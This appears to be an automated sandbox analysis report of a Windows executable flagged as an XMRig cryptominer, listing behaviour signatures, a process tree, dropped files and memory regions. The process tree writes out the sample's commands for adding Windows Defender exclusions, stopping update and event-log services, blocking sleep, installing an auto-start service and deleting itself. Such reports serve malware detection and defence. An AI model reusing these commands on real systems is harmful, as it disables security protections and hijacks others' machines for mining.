Analysis

  • max time kernel
    119s
  • max time network
    108s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19/12/2024, 06:02

General

  • Target
    30524fefdfb30a279e73f4c108d8a89be605ed447a232902bdd1976892fed4b9N.exe
  • Size 5.6MB
  • Sample241219-grwceasmfl
  • SHA256 30524fefdfb30a279e73f4c108d8a89be605ed447a232902bdd1976892fed4b9
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Xmrig family
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 11 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Creates new service(s) 2 TTPs
  • Stops running service(s) 4 TTPs
  • Executes dropped EXE 1 IoCs
  • Power Settings 1 TTPs 8 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • UPX packed file 16 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Launches sc.exe 14 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 46 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 19 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\30524fefdfb30a279e73f4c108d8a89be605ed447a232902bdd1976892fed4b9N.exe
    "C:\Users\Admin\AppData\Local\Temp\30524fefdfb30a279e73f4c108d8a89be605ed447a232902bdd1976892fed4b9N.exe"
    1⤵
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    PID:3764
    • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5036
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:640
      • C:\Windows\system32\wusa.exe
        wusa /uninstall /kb:890830 /quiet /norestart
        3⤵
          PID:1080
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop UsoSvc
        2⤵
        • Launches sc.exe
        PID:4884
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop WaaSMedicSvc
        2⤵
        • Launches sc.exe
        PID:916
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop wuauserv
        2⤵
        • Launches sc.exe
        PID:3480
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop bits
        2⤵
        • Launches sc.exe
        PID:4112
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop dosvc
        2⤵
        • Launches sc.exe
        PID:3040
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:1716
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:4864
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:4268
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:696
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe delete "JVNIRHNX"
        2⤵
        • Launches sc.exe
        PID:4392
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe create "JVNIRHNX" binpath= "C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe" start= "auto"
        2⤵
        • Launches sc.exe
        PID:900
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop eventlog
        2⤵
        • Launches sc.exe
        PID:4224
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe start "JVNIRHNX"
        2⤵
        • Launches sc.exe
        PID:2448
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\30524fefdfb30a279e73f4c108d8a89be605ed447a232902bdd1976892fed4b9N.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3364
        • C:\Windows\system32\choice.exe
          choice /C Y /N /D Y /T 3
          3⤵
            PID:816
      • C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe
        C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe
        1⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:2360
        • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1076
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:3648
          • C:\Windows\system32\wusa.exe
            wusa /uninstall /kb:890830 /quiet /norestart
            3⤵
              PID:1912
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop UsoSvc
            2⤵
            • Launches sc.exe
            PID:3388
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop WaaSMedicSvc
            2⤵
            • Launches sc.exe
            PID:2816
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop wuauserv
            2⤵
            • Launches sc.exe
            PID:4180
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop bits
            2⤵
            • Launches sc.exe
            PID:3080
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop dosvc
            2⤵
            • Launches sc.exe
            PID:1028
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
            2⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:1608
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
            2⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:4684
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
            2⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:4848
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
            2⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:2828
          • C:\Windows\system32\conhost.exe
            C:\Windows\system32\conhost.exe
            2⤵
              PID:2212
            • C:\Windows\system32\nslookup.exe
              nslookup.exe
              2⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2916

          Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

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                Downloads

                fqwofdtexigy.exe

                • Path C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe
                • Size 5.6MB
                • SHA256 30524fefdfb30a279e73f4c108d8a89be605ed447a232902bdd1976892fed4b9
                • MD5 SHA1 SHA512 SSDEEP

                __PSScriptPolicyTest_z3bp4l54.d5p.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_z3bp4l54.d5p.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512

                memory/1076-41-0x00000226C1DC0000-0x00000226C1DDC000-memory.dmp

                memory/1076-46-0x00000226C1E00000-0x00000226C1E0A000-memory.dmp

                memory/1076-45-0x00000226C1DB0000-0x00000226C1DB6000-memory.dmp

                memory/1076-44-0x00000226C1DA0000-0x00000226C1DA8000-memory.dmp

                memory/1076-43-0x00000226C1DE0000-0x00000226C1DFA000-memory.dmp

                memory/1076-42-0x00000226BF710000-0x00000226BF71A000-memory.dmp

                memory/1076-38-0x00000226BF6E0000-0x00000226BF6FC000-memory.dmp

                memory/1076-39-0x00000226C1BA0000-0x00000226C1C55000-memory.dmp

                memory/1076-40-0x00000226BF700000-0x00000226BF70A000-memory.dmp

                memory/2212-50-0x0000000140000000-0x000000014000E000-memory.dmp

                memory/2212-53-0x0000000140000000-0x000000014000E000-memory.dmp

                memory/2212-56-0x0000000140000000-0x000000014000E000-memory.dmp

                memory/2212-49-0x0000000140000000-0x000000014000E000-memory.dmp

                memory/2212-51-0x0000000140000000-0x000000014000E000-memory.dmp

                memory/2212-52-0x0000000140000000-0x000000014000E000-memory.dmp

                memory/2916-60-0x0000000140000000-0x0000000140848000-memory.dmp

                memory/2916-65-0x0000000140000000-0x0000000140848000-memory.dmp

                memory/2916-74-0x0000000140000000-0x0000000140848000-memory.dmp

                memory/2916-73-0x0000000140000000-0x0000000140848000-memory.dmp

                memory/2916-72-0x0000000140000000-0x0000000140848000-memory.dmp

                memory/2916-70-0x0000000140000000-0x0000000140848000-memory.dmp

                memory/2916-59-0x0000000140000000-0x0000000140848000-memory.dmp

                memory/2916-57-0x0000000140000000-0x0000000140848000-memory.dmp

                memory/2916-58-0x0000000140000000-0x0000000140848000-memory.dmp

                memory/2916-69-0x0000000140000000-0x0000000140848000-memory.dmp

                memory/2916-63-0x0000000140000000-0x0000000140848000-memory.dmp

                memory/2916-61-0x0000000140000000-0x0000000140848000-memory.dmp

                memory/2916-68-0x0000000140000000-0x0000000140848000-memory.dmp

                memory/2916-67-0x0000000140000000-0x0000000140848000-memory.dmp

                memory/2916-66-0x0000000140000000-0x0000000140848000-memory.dmp

                memory/2916-64-0x00000249C1890000-0x00000249C18B0000-memory.dmp

                memory/2916-62-0x0000000140000000-0x0000000140848000-memory.dmp

                memory/5036-1-0x000001D35F800000-0x000001D35F822000-memory.dmp

                memory/5036-16-0x00007FFD34FA0000-0x00007FFD35A61000-memory.dmp

                memory/5036-13-0x00007FFD34FA0000-0x00007FFD35A61000-memory.dmp

                memory/5036-12-0x00007FFD34FA0000-0x00007FFD35A61000-memory.dmp

                memory/5036-0-0x00007FFD34FA3000-0x00007FFD34FA5000-memory.dmp

                memory/5036-11-0x00007FFD34FA0000-0x00007FFD35A61000-memory.dmp